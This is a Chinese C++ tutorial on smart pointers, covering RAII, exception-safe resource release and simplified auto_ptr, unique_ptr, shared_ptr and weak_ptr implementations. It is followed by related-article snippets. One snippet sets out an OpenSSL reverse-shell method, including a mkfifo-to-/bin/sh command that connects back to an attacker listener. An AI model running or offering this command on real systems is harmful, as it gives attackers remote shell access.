当前位置: 首页 > news >正文

深入篇【C++】总结智能指针的使用与应用意义(auto_ptr/unique_ptr/shared_ptr/weak_ptr)底层原理剖析+模拟实现

深入篇【C++】总结智能指针的使用与应用意义&&(auto_ptr/unique_ptr/shared_ptr/weak_ptr)底层原理剖析+模拟实现

  • 智能指针的出现
  • 智能指针的使用
  • 应用意义/存在问题
  • 智能指针原理剖析+模拟实现
    • auto_ptr
    • unique_ptr
    • shared_ptr
    • weak_ptr

智能指针的出现

首先我们要理解智能指针是什么。为什么要有智能指针。什么场景会用到智能指针。
首先我们知道C++的异常有很大的缺陷,那就是执行流会乱跳,这样就可能会造成内存泄露问题,比如在new和delete之间出现异常,那么就会出现资源没有释放,内存泄露。


int div()
{int a, b;cin >> a >> b;if (b == 0)throw invalid_argument("除0错误");return a / b;
}
void func()
{div();
}
int main()
{try{func();}catch(const exception& e)//抛基类异常,用父类来接受{cout << e.what() << endl;}
}

在这里插入图片描述
首先这是正常的使用异常处理,当div函数抛异常时,就会直接跳到catch捕获的地方,进行处理。

//异常的缺点:内存泄露,在new和delete之间抛异常
#include <vector>
int div()
{int a, b;cin >> a >> b;if (b == 0)throw invalid_argument("除0错误");return a / b;
}
void func()
{vector<int>* p1 = new vector<int>;div();delete p1;cout << "delete:" << p1 << endl;
}
//正常情况下,如果不抛异常,就不会内存泄露,但抛异常后,就会泄露,解决方法
//是再套一层异常判断,捕获的异常不处理,继续抛出(在抛出之前将资源释放)
int main()
{try{func();}catch (const exception& e)//抛基类异常,用父类来接受{cout << e.what() << endl;}
}

在这里插入图片描述

那如果是这样的场景呢,在new和delete之间如果div()抛异常了,那么开辟的空间p1就无法释放。最终会造成内存泄露的。
而想要处理这样的问题,就需要对div函数套一层异常判断,如果出现异常,先释放资源了,再将异常抛出给外面的捕获处理。

//异常的缺点:内存泄露,在new和delete之间抛异常
#include <vector>
int div()
{int a, b;cin >> a >> b;if (b == 0)throw invalid_argument("除0错误");return a / b;
}
void func()
{vector<int>* p1 = new vector<int>;//如果p1抛异常就 没有问题,没有资源的申请,所以也不需要释放vector<int>* p2 = new vector<int>;//如果p2抛异常,p1就内存泄露vector<int>* p3 = new vector<int>;//如果p3抛异常,p1和p2就内存泄露//…………//所以异常出现后,很容易造成内存泄露,有什么办法可以解决呢?try{div();}catch (...){delete p1;cout << "delete" << p1 << endl;throw;//再抛出}delete p1;cout << "delete:" << p1 << endl;
}
//正常情况下,如果不抛异常,就不会内存泄露,但抛异常后,就会泄露,解决方法
//是再套一层异常判断,捕获的异常不处理,继续抛出(在抛出之前将资源释放)
int main()
{try{func();}catch (const exception& e)//抛基类异常,用父类来接受{cout << e.what() << endl;}
}

在这里插入图片描述
只不过这样做还是有缺陷,如果有很多个资源申请呢?或者有连续的资源申请呢?比如资源1申请,如果出现异常,那么就直接跳出去,如果资源2异常那么就需要对这个操作套一层异常处理,需要先将资源1的资源释放了,然后再重新抛异常给外面。如果资源3申请时出现异常呢?…………这样是不是每次申请资源时都需要套上异常处理呢?这样也太麻烦了吧!但你又不得不这样做,因为你要保证内存安全啊!

//异常的缺点:内存泄露,在new和delete之间抛异常
#include <vector>
int div()
{int a, b;cin >> a >> b;if (b == 0)throw invalid_argument("除0错误");return a / b;
}
void func()
{vector<int>* p1 = new vector<int>;//如果p1抛异常就 没有问题,没有资源的申请,所以也不需要释放vector<int>* p2 = new vector<int>;//如果p2抛异常,p1就内存泄露,需要给该步骤套上异常处理,释放p1然后再将异常抛出vector<int>* p3 = new vector<int>;//如果p3抛异常,p1和p2就内存泄露,需要给该步骤套上异常处理,释放p1,p2然后再将异常抛出//…………//所以异常出现后,很容易造成内存泄露,有什么办法可以解决呢?try{div();}//如果div()抛异常,,p1,p2,p3都得释放catch (...){delete p1;delete p2;delete p3;cout << "delete" << p1 << endl;throw;//再抛出}delete p1;cout << "delete:" << p1 << endl;
}
//正常情况下,如果不抛异常,就不会内存泄露,但抛异常后,就会泄露,解决方法
//是再套一层异常判断,捕获的异常不处理,继续抛出(在抛出之前将资源释放)
int main()
{try{func();}catch (const exception& e)//抛基类异常,用父类来接受{cout << e.what() << endl;}
}

这时,智能指针就出现了!
智能指针有三大特性:

1.RAII
2.可以像指针一样
3.存在拷贝问题。

一.RAII,是一种利用对象生命周期来控制程序资源的技术。
我们在对象构造的时候,将开辟的资源交给对象,那么这样在对象生命周期内,该资源一直存在,然后在该对象的析构函数里,进行释放资源。这样对象析构,资源也就释放了。
也就是我们将资源交给一个对象进行管理,当对象的生命周期还在时,资源就存在,当对象销毁时,资源就被释放,这样,我们就将管理资源的责任托管给了对象。
好处:

1.释放了双手,不需要我们显示的释放资源。就不用怕资源最后没有释放。
2.采用这种方式,对象所需的资源在其生命周期内始终保持有效。

二.智能指针,从指针二字我们就应该能意识到它是具备指针的特性的,而指针有哪些特性呢?

1.可以解引用。通过解引用访问资源。
2.可以使用→运算符来访问资源里的内容。

三.所以说智能指针本质上也是一个指针,那指针之间也是可以赋值,拷贝的。并且是值拷贝。

智能指针的使用

智能指针的实现其实很简单,智能指针底层就是封装着该类型的指针。原理(RAII)就是将申请的资源托管给一个对象管理,所以在对象构造时,将资源给对象即可。当对象析构时,就将资源释放。
然后还要实现*运算符重载和→运算符重载。

namespace tao
{template<class T>class smater_ptr
{
public:smater_ptr( T* ptr)//将资源交给对象管理:_ptr(ptr){}~smater_ptr()//对象销毁时就将资源释放{cout << "delete:" << _ptr << endl;delete _ptr;}//像指针一样使用T& operator*(){return *_ptr;}T* operator->(){return _ptr;}private:T* _ptr;
};

那么我们就可以处理上面遗留的问题了:


#include <vector>
int div()
{int a, b;cin >> a >> b;if (b == 0)throw invalid_argument("除0错误");return a / b;
}
void func()
{//vector<int>* p1 = new vector<int>;如果p1抛异常就 没有问题,没有资源的申请,所以也不需要释放//vector<int>* p2 = new vector<int>;如果p2抛异常,p1就内存泄露//vector<int>* p3 = new vector<int>;如果p3抛异常,p1和p2就内存泄露//…………//所以异常出现后,很容易造成内存泄露,有什么办法可以解决呢?smater_ptr<vector<int>> p1(new vector<int>);//将资源给对象p1管理smater_ptr<vector<int>> p2(new vector<int>);smater_ptr<vector<int>> p3(new vector<int>);smater_ptr<string> ps(new string("小陶来咯"));div();cout << *ps << endl;cout << ps->size() << endl;
}int main()
{try{func();}catch (const exception& e)//抛基类异常,用父类来接受{cout << e.what() << endl;}
}

在这里插入图片描述
这里再怎么抛异常都不会影响资源的释放,因为资源是被智能指针对象管理着,当对象销毁时,管理的资源肯定会释放的。
我们也不用担心连续的申请资源会出现异常的情况了。

应用意义/存在问题

一般正常使用智能指针,就可以避免大多数的内存泄露问题,但不排除乱用的。智能指针的应用能帮助我们很好的处理因为异常出现而导致的内存泄露问题。不过初期的智能指针还存在着问题,比如拷贝问题。C++98时期就已经存在智能指针auto_ptr.不过吐槽点很多,现在公司基本禁止使用auto_ptr.
随着C++的发展,又出现其他的智能指针比如:uniqe_ptr
,shared_ptr,weak_ptr(本质不是)。

那智能指针存在什么问题呢?我们来分析分析:


int main()
{smater_ptr<string> sp1(new string("xioatao"));smater_ptr<string> sp2(new string("xioyao"));//存在这样的场景:smater_ptr<string> sp2(sp1);//指针之间的拷贝就应该是浅拷贝,我们不用写编译器会自动生成。//但浅拷贝会出现什么问题呢?//1.同一块资源被释放两次 2.内存泄露return 0;
}

在这里插入图片描述
呐,这就是智能指针的拷贝问题,指针之间的拷贝肯定是值拷贝,因为是内置类型,不存在深拷贝。那浅拷贝我们不写,编译器生成的拷贝构造就是浅拷贝,所以我们就不用写了吗?
首先,我们要分析,确实是浅拷贝,但是如果指针浅拷贝了,就会出现这样的问题:①指向同一块的空间被释放两次②有一块空间没有释放,内存泄露。

那我们来看看C++库里是如何处理这些问题的。

智能指针原理剖析+模拟实现

auto_ptr

C++98库里提供的auto_ptr智能指针,处理这种问题的原理是:管理权转移。
什么叫管理权转移呢?就比如sp3(sp1),将sp1拷贝给sp3。也就是用sp1构造sp3。首先我们要明白,sp1是管理着一块资源的,sp3还没有实例化,没有管理资源。这里直接将sp1管理资源的权力转移给sp3。然后sp1就没有权力管理资源了也就是不需要管理资源了。不管理资源是如何做到的呢?直接将智能指针对象里面的指针置空即可。

namespace tao
{template <class T>class auto_ptr{public:auto_ptr(T* ptr):_ptr(ptr){}~auto_ptr(){delete _ptr;}T& operator*(){return *_ptr;}T* operator->(){return _ptr;}//sp3(sp1)auto_ptr(auto_ptr<T>& p):_ptr(p._ptr){//将资源转移后,被拷贝对象再置空p._ptr = nullptr;//如果不置空,就会释放两次}private:T* _ptr;};

这就是C++98提供的auto_ptr智能指针。这个版本被吐槽的很多,因为你将sp1对象管理资源的权转移后,sp1就悬空了。如果有人要再次访问sp1呢?就是那个不管理资源的智能指针。(里面的指针必须置空,不然就会释放两次。)


//我们写一个类,方便观察资源创建和释放
#include "smater_ptr.h"
class B
{
public:B(int b = 0):_b(b){cout << "b=0" << endl;}~B(){cout << this;cout << "~B()" << endl;}private:int _b;
};
//自定义类型构造会调用它的构造函数,和析构函数。
int main()
{tao::auto_ptr<B> b1(new B(1));tao::auto_ptr<B> b2(new B(2));//这个是auto_ptr C++98时期就出现,但不好,很多公司严禁不给使这个tao::auto_ptr<B> b3(b1);//因为存在严重的不合理地方,当出现智能指针拷贝赋值的地方//auto_ptr处理的方式是:直接转移资源的管理权。//拷贝时,会把被拷贝对象的资源管理转移给拷贝对象。而被被拷贝对象就没有资源管理,直接置空//存在问题:管理权转移后,再次访问被拷贝对象//b1这个智能指针已经没有资源可以管理了,里面的指针直接置空了,不能再访问了//b1->_b++;b3->_b++;
}

unique_ptr

由于auto_ptr的设计太不合理,C++11中开始提供更靠谱的unique_ptr智能指针。
unique_ptr的原理其实很简单,四个字:简单粗暴。
直接不给拷贝,简单粗暴的防止拷贝。利用delete关键字,将函数定义为删除函数,不能使用。指针赋值的操作也被禁止。

	template <class T>class unique_ptr{public:unique_ptr(T* ptr):_ptr(ptr){}~unique_ptr(){delete _ptr;}T& operator*(){return *_ptr;}T* operator->(){return _ptr;}unique_ptr(unique_ptr<T>& p) = delete;//直接删除掉,不能拷贝private:T* _ptr;};

在这里插入图片描述

shared_ptr

但是如果就是存在智能指针间的拷贝,那该怎么办呢?unique_ptr肯定不能使用了。
所以C++11又提供了一个可以允许拷贝的智能指针,那就是shared_ptr.
shared_ptr智能指针实现的原理是:<引用计数>

原理
①当有一个对象管理资源时,计数器就显示1.当有两个对象指向资源时,计数器就显示2.当有n个对象指向资源时,计数器就显示n。
②当指向资源的对象生命周期结束时,首先将该资源的上的计数器减减。然后判断计数器是否为0.如果不为0,说明还存在对象管理着资源。如果为0,就说明没有对象管理资源了,该资源就可以释放了。

那这个计数器应该如何设计呢?是设计成普通计数器就可以吗?还是设计成静态的呢?
如果设计成普通的计数器,就是在智能指针内部存一个计数器。这就表明每个对象都有一个计数器。这合理吗?在这里插入图片描述
这肯定不合理啊,指向相同资源时如何进行计数呢?这样不能根据计数器来判断一个资源上有多少对象管理了。一个资源就一个计数器就可以了。那设计成静态计数器呢?

在这里插入图片描述

设计成静态计数器,如果只有一块资源的话,也不是不可以,但我们不知道会有多少资源啊,当有新的资源开辟后,该资源上应该只有一个对象管理,但使用静态计数器后,所有对象共享该计数器,就造成了该资源上的计数不对。

我们想要的计数器应该是要伴随着资源的申请而生成。当有一个资源生成被智能指针管理后,就会生成一个计数器,来计算该资源受管理的个数。当有两个资源时,就会有两个计数器,各计算各的,互不影响。所以这里的计数器应该是动态计数器。
当有资源申请时并给对象管理时(也就是调用对象的构造函数)时,就会动态生成一个计数器。
在这里插入图片描述
计数器实现完后,我们就可以利用引用计数来实现拷贝。比如用p2(p1),用p1拷贝构造p2.那么p2就要指向p1指向的资源,并且资源上的计数器要加加。这两个智能指针都管理着资源。不过当p2销毁时,资源并不会释放,计数器首先会减减,然后判断计数器是否为0,只有计数为0了,才可以将资源释放。

template <class T>
class shared_ptr
{
public:shared_ptr(T* ptr=nullptr):_ptr(ptr),_pcount(new int(1)){}//当有资源申请并交给对象管理时,计数器才会生成。//只有对象管理一个资源时,才会生成计数器。不然不会生成。//当拷贝时(没有资源的生成管理)就让其他对象的指针向生成的计数器。~shared_ptr(){//当有对象要销毁时,首先先减减计数器//只有最后一个对象管理时才可以释放资源if (--(*_pcount) == 0){cout << "delete" << _ptr << endl;delete _ptr;delete _pcount;}}T& operator*(){return *_ptr;}T* operator->(){return _ptr;}shared_ptr(shared_ptr<T>& ps):_ptr(ps._ptr), _pcount(ps._pcount)//这个单纯指向没有再管理一个新的资源,所以不会生成计数器,只需要指向原来生成的计数器。{++(*_pcount);//然后原来的计数器加加即可,表面该资源上多了一个对象管理}T* get()const//获取_ptr {return _ptr;}
private:T* _ptr;int* _pcount;//动态计数器
};

shared_ptr除了支持智能指针间的拷贝,还支持指针间的赋值。那么赋值重载是如何实现的呢?
首先赋值是两个都已经存在的对象进行赋值。而拷贝构造是已存在的拷贝给不存在的对象。
假设两个存在的对象,各自都管理着一块资源,当两个对象进行赋值,会发生什么呢?
在这里插入图片描述
不过这里要注意两个细节,细节一就是赋值对象的计数器减减后,需要进行判断,是否为0.如果计数器为0了,就说明该资源上没有对象管理,那么该资源就可以释放了。如果不是0,那就没事。
细节二,就是自己给自己赋值的场景会有bug存在。
在这里插入图片描述

//shared_ptr的赋值运算符重载
shared_ptr<T>& operator=(const shared_ptr<T>& ps)
{//自己给自己赋值的场景要避免if (_ptr == ps._ptr)return *this;//首先要对赋值对象管理的资源的计数器减减,要注意被赋值对象管理的资源是否只有一个智能指针控制if (--(*_pcount) == 0){delete _ptr;delete _pcount;}_ptr = ps._ptr;_pcount = ps._pcount;//正常转移指向即可//被赋值对象的计数器++即可(*ps._pcount)++;return *this;
}

验证一下:

int main()
{tao::shared_ptr<B> b1(new B(1));tao::shared_ptr<B> b2(b1);tao::shared_ptr<B> b3(b1);tao::shared_ptr<B> b4(new B(2));tao::shared_ptr<B> b5(b4);b1 = b5;}

在这里插入图片描述

weak_ptr

shared_ptr几乎已经完美了,既具有智能指针的特性,又允许拷贝和赋值。但还是具有缺点的,具有什么缺点呢?
该问题就是:循环计数
当出现循环计数时,shared_ptr是没有办法解决。什么叫循环计数问题呢?

当存在这种需求时:动态开辟的节点需要链接起来时。我们使用智能指针来管理资源会发生什么呢?


struct Node
{B _val;Node* _next;Node* _prev;
};int main()
{tao::shared_ptr<Node> sp1(new Node);tao::shared_ptr<Node> sp2(new Node);//sp1->_next = sp2;//类型不匹配,sp1->next的类型是Node而sp2的类型是shared_ptr类型所以这样无法链接起来。
//	//所以Node节点里存的应该是shared_ptr类型的指针,这样才可以链接起来
}

我们发现无法链接起来,因为节点里next是Node*类型的,而sp2是shared_ptr类型的。所以为了能够链接起来,节点里存的应该是shared_ptr类型的next。

struct Node
{B _val;shared_ptr<Node> _next;shared_ptr<Node> _prev;
};int main()
{tao::shared_ptr<Node> sp1(new Node);tao::shared_ptr<Node> sp2(new Node);
//	//所以Node节点里存的应该是shared_ptr类型的指针,这样才可以链接起来sp1->_next = sp2;sp2->_prev = sp1;}

这样两个节点就链接起来了。可是链接起来后就出现问题了:
在这里插入图片描述
我们发现两个智能指针管理的资源都没有释放,这是为什么呢?
在这里插入图片描述
在这里插入图片描述
C++中是如何解决循环计数的呢?C++11提供了weak_ptr专门用来处理shared_ptr出现的循环计数问题。
那么weak_ptr解决循环计数的原理是什么呢?
首先我们需要明白引起循环计数的原因是什么,要理解什么场景下会发生循环计数。
1.主要原因就是因为智能指针定义在节点的内部。
2.然后就是因为计数器要等于1时才可以释放资源。

就是因为内部的智能指针参与了资源的管理,导致计数器增加,外面管理的资源的对象销毁后资源也无法销毁,需要里面的智能指针对象销毁才可以销毁,而里面的对象销毁又需要资源先销毁才可以销毁。所以最主要原因就是内部的智能指针管理资源。
所以weak_ptr实现的原理就是让节点里面的智能指针不管理资源,就单纯的链接节点,不参与资源的管理,但可以访问资源。
这样计数器就不会增加,当外面的对象销毁,资源就会正常销毁。
所以正常操作应该是这样:

struct Node
{B _val;weak_ptr<Node> _next;weak_ptr<Node> _prev;//weak_ptr不管理资源,不会增加计数器
};
int main()
{shared_ptr<Node> sp1(new Node);shared_ptr<Node> sp2(new Node);sp1->_next = sp2;sp2->_prev = sp1;
}

在这里插入图片描述
所以weak_ptr严格上来说不是智能指针,它不具备RAII特性。不管理资源。它主要是提供支持由shared_ptr类型转换成weak_ptr类型的拷贝构造和赋值。而不是管理资源。

	template <class T>class weak_ptr{public:weak_ptr():_ptr(nullptr){}T& operator*(){return *_ptr;}T* operator->(){return _ptr;}weak_ptr(const shared_ptr<T>& sp)//在类外无法访问到sp的保护成员_ptr,所以徐娅get函数来获取。:_ptr(sp.get()){}weak_ptr<T>& operator=(const shared_ptr<T>& sp){_ptr = sp.get();return *this;}private:T* _ptr;};
};

相关文章:

深入篇【C++】总结智能指针的使用与应用意义(auto_ptr/unique_ptr/shared_ptr/weak_ptr)底层原理剖析+模拟实现

深入篇【C】总结智能指针的使用与应用意义&&(auto_ptr/unique_ptr/shared_ptr/weak_ptr&#xff09;底层原理剖析模拟实现 智能指针的出现智能指针的使用应用意义/存在问题智能指针原理剖析模拟实现auto_ptrunique_ptrshared_ptrweak_ptr 智能指针的出现 首先我们要理…...

计算机视觉和机器视觉有什么区别?

人工智能是一个概念性术语&#xff0c;涵盖了若干特定技术。本文中&#xff0c;我们将探讨机器视觉&#xff08;MV&#xff09;和计算机视觉&#xff08;CV&#xff09;。二者都涉及可视化输入的摄取和解释&#xff0c;因此&#xff0c;了解这些重叠技术的优势、约束和最佳应用…...

【树莓派 picamera】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言https://www.cnblogs.com/uestc-mm/p/7606855.html 一、picamera是什么&#xff1f;二、使用步骤1.引入库2.先要安装opencv 总结 前言 想用树莓派libcamera &a…...

HarmonyOS应用开发者基础认证【满分答案】

HarmonyOS应用开发者基础认证 一、判断题二、单选题三、多选题 一、判断题 在Column和Row容器组件中&#xff0c;justifyContent用于设置子组件在主轴方向上的对齐格式&#xff0c;alignItems用于设置子组件在交叉轴方向上的对齐格式。&#xff08;正确&#xff09; 所有使用C…...

CSS 常用样式——定位属性类型及特点

一、相对定位 相对定位是 CSS 中的一种定位方式&#xff0c;它允许我们将一个元素相对于其原始位置进行定位&#xff0c;而不会影响其它元素的位置和尺寸。相对定位是通过 position: relative; 属性实现的。 相对定位常用于创建位置相对于父元素的元素&#xff0c;以及重叠元…...

华纳云:Linux文件不存在无法删除如何解决

在Linux中&#xff0c;如果您要删除一个文件&#xff0c;但文件不存在&#xff0c;通常会收到类似"文件不存在"或"没有这样的文件或目录"的错误消息。这可能是由于多种原因导致的&#xff0c;例如文件被移动、重命名、删除&#xff0c;或者您没有足够的权限…...

mysql增加字段语句转为Oracle语句

mysql增加字段语句转为Oracle语句 ALTER TABLE xm_cghyADD COLUMN WDNR blob NULL COMMENT 评审会议通知HTML AFTER HYTZFJ;在Oracle中&#xff0c;可以使用以下SQL语句来执行ALTER TABLE操作&#xff0c;将xm_cghy表添加一个名为WDNR的BLOB类型列&#xff1a; ALTER TABLE x…...

VMware搭载linux出现的bugs

---------后续在实际Linux项目复盘过程中有遇到问题(解决办法)会不定时更新.......----------- ques: Linux自带的media目录用于挂载或可移动存储设备已满&#xff08;造成这一原因是由于我多次创建新的虚拟机并在同一虚拟目录下挂载同一镜象导致有些残存文件没有删除干净&…...

websocket逆向-protobuf序列化与反序列化

系列文章目录 训练地址&#xff1a;https://www.qiulianmao.com 基础-websocket逆向基础-http拦截基础-websocket拦截基础-base64编码与解码基础-protobuf序列化与反序列化视频号直播弹幕采集实战一&#xff1a;Http轮询更新中 websocket逆向-protobuf序列化与反序列化基础 系…...

车载电子电器架构 —— 国产基础软件生态简介

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费力证明自己,无利益不试图说服别人,是精神上的节…...

CNN-generated images are surprisingly easy to spot... for now

CNN-generated images are surprisingly easy to spot… for now----《目前CNN生成的图像非常容易被发现》 背景&#xff1a; 研究者们发现&#xff0c;仅仅对一种由CNN模型生成的图像进行训练的分类器&#xff0c;也可以检测许多其他模型生成的结果。由此提出这样的观点&#…...

蓝桥杯(七段码,C++)

思路&#xff1a; 1、把灯管的连接转为图结构&#xff0c;相邻的灯管即认为有边。 2、用深度搜索&#xff0c;去计算有多少种不同字符。 3、因为有每种字符都会重复算两遍&#xff0c;最后的结果需要数以2。 #include <iostream> using namespace std;int graph[7][7…...

Master PDF Editor v5.9.70便携版

软件介绍 Master PDF Editor中文版是一款小巧的多功能PDF编辑器,可以轻松查看,创建,修改,批注,签名,扫描,OCR和打印PDF文档.高级注释工具,可以添加任意便笺指示对象突出显示,添加下划线和删除,而无需更改源PDF文件. 软件截图 更新日志 code-industry.net/what-is-new-in-mas…...

【剑指Offer】20.表示数值的字符串

题目 请实现一个函数用来判断字符串str是否表示数值&#xff08;包括科学计数法的数字&#xff0c;小数和整数&#xff09;。 科学计数法的数字(按顺序&#xff09;可以分成以下几个部分: 1.若干空格 2.一个整数或者小数 3.&#xff08;可选&#xff09;一个 e 或 E &…...

2023年9月Web3行业月度发展报告区块链篇 | 陀螺科技会员专享

9月是加密市场的活动月&#xff0c;斯坦福区块链周、Token2049等大型活动相继举办&#xff0c;后者更是创下超过1万人的历史最高纪录&#xff0c;成为了全球最大的Web3活动。在本次Token2049上&#xff0c;RWA、支付以及出入金成为了讨论度最多的活动。尽管活动如火如荼&#x…...

Unity 快捷键的一些记录

1.Unity Prefab Apply All 设置快捷键&#xff0c;修改预设体之后快捷键应用 打包会出问题&#xff1a;The type or namespace name ‘EditorWindow‘ could not be found EditorWindow类无法打包出EXE 添加unity关键字定义如下文所示&#xff1a; #if UNITY_EDITOR using Uni…...

GIT指令 - git stash

命令解释 保存当前工作进度&#xff0c;将工作区和暂存区恢复到修改之前。 使用场景 当在A分支上进行开发&#xff0c;有点事情需要切到B分支上进行开发&#xff0c;但是A分支的代码开发一半&#xff0c;又不想提交&#xff0c;直接切换又会报错&#xff0c;可以使用该指令。…...

LiveMedia视频中间件视频隐私打码直播解决方案

一、方案背景 随着科技的发展&#xff0c;视频监控系统已经成为了我们生活中不可或缺的一部分。无论是在公共区域&#xff0c;还是在私人场所&#xff0c;我们都可以看到各种各样的监控设备。这些设备的出现&#xff0c;无疑提高了我们的生活安全&#xff0c;使得我们可以更好地…...

关于神经网络的思考

关于感知机 感知机&#xff08;Perceptron&#xff09;和神经网络&#xff08;Neural Network&#xff09;之间有一定的关系&#xff0c;可以说感知机是神经网络的一个基本组成单元。 感知机&#xff1a; 感知机是一种简单的二分类线性分类器。它接受多个输入&#xff0c;对每…...

CodeForces每日好题10.14

给你一个字符串 让你删除一些字符让它变成一个相邻的字母不相同的字符串&#xff0c;问你最小的删除次数 以及你可以完成的所有方/案数 求方案数往DP 或者 组合数学推公式上面去想&#xff0c;发现一个有意思的事情 例如1001011110 这个字符串你划分成1 00 1 0 1111 0 每…...

Python Django 之连接 Mysql 数据库详解

文章目录 1 概述1.1 Mysql 下载和安装1.2 菜单目录 2 ORM 框架2.1 连接 Mysql 模块&#xff1a;mysqlclient2.2 创建数据库2.3 连接 Mysql2.4 创建表2.5 增删改查 3 扩展3.1 ERROR&#xff1a;2026, SSL connection error: unknown error number 1 概述 1.1 Mysql 下载和安装 …...

Java设计模式:Callback

介绍 回调&#xff08;Callback&#xff09;是一种设计模式&#xff0c;在这种模式中&#xff0c;一个可执行的代码被作为参数传递给其他代码&#xff0c;接收方的代码可以在适当的时候调用它。 在真实世界的例子中&#xff0c;当我们需要在任务完成时被通知时&#xff0c;我…...

年底旺季,Shopee、Lazada如何通过测评补单技术打造产品权重收割流量

当前Shopee和Lazada平台的主要推广方式仍然以广告为主&#xff0c;毕竟这是平台的主要收入来源之一。然而&#xff0c;由于近年来大量卖家涌入东南亚市场&#xff0c;导致卖家之间的竞争日趋激烈。高额的广告投入并不能带来预期的效果&#xff0c;因此越来越多的卖家开始自学测…...

CentOS 7 安装 MySQL8.0

由于centOS7中默认安装了 MariaDB , 需要先进行卸载 # 查看版本 rpm -qa | grep mariadb # 卸载 rpm -e --nodeps 文件名 # 查看是否卸载干净 rpm -qa | grep mariadb安装wget&#xff1a; yum -y install wget进入/usr/local/下&#xff1a; cd /usr/local/新建mysqlrpm文…...

C# 往多线程传递安全参数的方法

在C#构造一个线程时&#xff0c;要向其传递一个函数&#xff0c;这个函数可以试简单的无参函数&#xff0c;也可以是参数为Object类型的函数&#xff0c;但是由于参数类型为Object&#xff0c;因此编译器无法实行类型检查&#xff0c;看下面的例子&#xff1a; class Program{…...

Java之SPI

Java的SPI&#xff08;Service Provider Interface&#xff09;是一种面向接口编程的机制&#xff0c;用于实现组件之间的解耦和扩展。通过SPI机制&#xff0c;我们可以定义接口&#xff0c;并允许第三方提供不同的实现&#xff0c;从而实现可插拔、可扩展的架构。 SPI讲解 它…...

【数据结构】算法的空间复杂度

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 算法空间复杂度的定义 算法的时间复杂度和空间复杂度是度量算法好坏的两个重要量度,在实际写代码的过程中,我们完全可以用空间来换时间,比如说,我们要判断某某年是不是闰年,大…...

恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题

恢复Windows 11经典右键菜单&#xff1a;一条命令解决显示更多选项问题 恢复Windows 11经典右键菜单&#xff1a;一条命令解决显示更多选项问题为什么改变&#xff1f;恢复经典右键菜单 我是将军我一直都在&#xff0c;。&#xff01; 恢复Windows 11经典右键菜单&#xff1a;一…...

Android:事件分发机制(二)

这篇主要是第一篇回顾之后&#xff0c;补充一些上一篇没写到的两个点。 第一个的切入点是这个。【处理层叠的view&#xff0c;想要执行下一层的view的点击事件】其背后的原理。 处理层叠的view&#xff0c;要执行下一层的view的点击事件 我们知道&#xff0c;方法是将上一层的…...

vue2时间处理插件——dayjs

在vue时间处理上有很多的方法和实现&#xff0c;可以自己实现&#xff0c;但是效率不高&#xff0c;所以&#xff0c;在框架开发中我们一般不会手写&#xff0c;一般是使用集成的第三方插件来解决我们的问题&#xff0c;在vue3中大家一般都使用Moment.js来处理&#xff0c;所以…...

软考 系统架构设计师系列知识点之软件质量属性(6)

接前一篇文章&#xff1a;软考 系统架构设计师系列知识点之软件质量属性&#xff08;5&#xff09; 所属章节&#xff1a; 第8章. 系统质量属性与架构评估 第2节. 面向架构评估的质量属性 相关试题 7. 某公司欲开发一个在线教育平台。在架构设计阶段&#xff0c;公司的架构师…...

Python6-wxPython库

Python6-wxPython库 1.wxPython库2.窗口程序2.1 简单的窗口程序2.2 自定义窗口类2.3 面板与静态文本2.4 事件处理 3.布局管理器3.1 盒子布局管理 4.控件4.1 文本输入框4.2 多选框与单选框4.3 列表控件4.4 静态图片 1.wxPython库 官方文档健全&#xff1a;https://docs.wxpytho…...

使用OpenSSL的反弹shell

1、攻击机生成证书&#xff1a; openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…...

竞赛选题 深度学习OCR中文识别 - opencv python

文章目录 0 前言1 课题背景2 实现效果3 文本区域检测网络-CTPN4 文本识别网络-CRNN5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; **基于深度学习OCR中文识别系统 ** 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;…...

ezEIP信息泄露

漏洞描述 ezEIP存在信息泄露漏洞&#xff0c;通过遍历Cookie中的参数值获取敏感信息 漏洞复现 漏洞Url为 /label/member/getinfo.aspx访问时添加Cookie&#xff08;通过遍历获取用户的登录名电话邮箱等信息&#xff09; WHIR_USERINFORwhir_mem_member_pid1;漏洞证明&…...

02.机器学习原理(复习)

目录 机器学习的本质机器学习的类型Regression/回归Classification/分类Structured Learning/结构化学习 ML的三板斧设定范围设定标准监督学习半监督学习其他 达成目标小结达成目标设定标准设定范围 部分截图来自原课程视频《2023李宏毅最新生成式AI教程》&#xff0c;B站自行搜…...

电源集成INN3270C-H215-TL、INN3278C-H114-TL、INN3278C-H215-TL简化了反激式电源转换器的设计和制造。

一、概述 InnoSwitch™3-CP系列IC极大地简化了反激式电源转换器的设计和制造&#xff0c;特别是那些需要高效率和/或紧凑尺寸的产品。InnoSwitch3-CP系列将初级和次级控制器以及安全额定反馈集成到单个IC中。 InnoSwitch3-CP系列器件集成了多种保护功能&#xff0c;包括线路过…...

UE4和C++ 开发--HUD类

HUD 平视显示器(Head Up Display),简称HUD。在蓝图中是指在屏幕上面绘制的二维物体。 1. 创建HUD 打开蓝图编辑器&#xff0c;创建一个蓝图类&#xff0c;搜索HUD&#xff0c;选择并命名BP_HUD。 2. 开始绘制 打开事件列表&#xff0c;右键搜索 EventReceive Draw HUD。有两…...

使用js怎么设置视频背景

要使用JavaScript设置网页的视频背景&#xff0c;你需要将视频元素添加到你的HTML文档中&#xff0c;然后使用JavaScript来控制它 首先&#xff0c;在你的HTML文件中添加一个 <video> 元素 <video id"video-background" autoplay muted loop><sourc…...

Gin,Gorm实现Web计算器

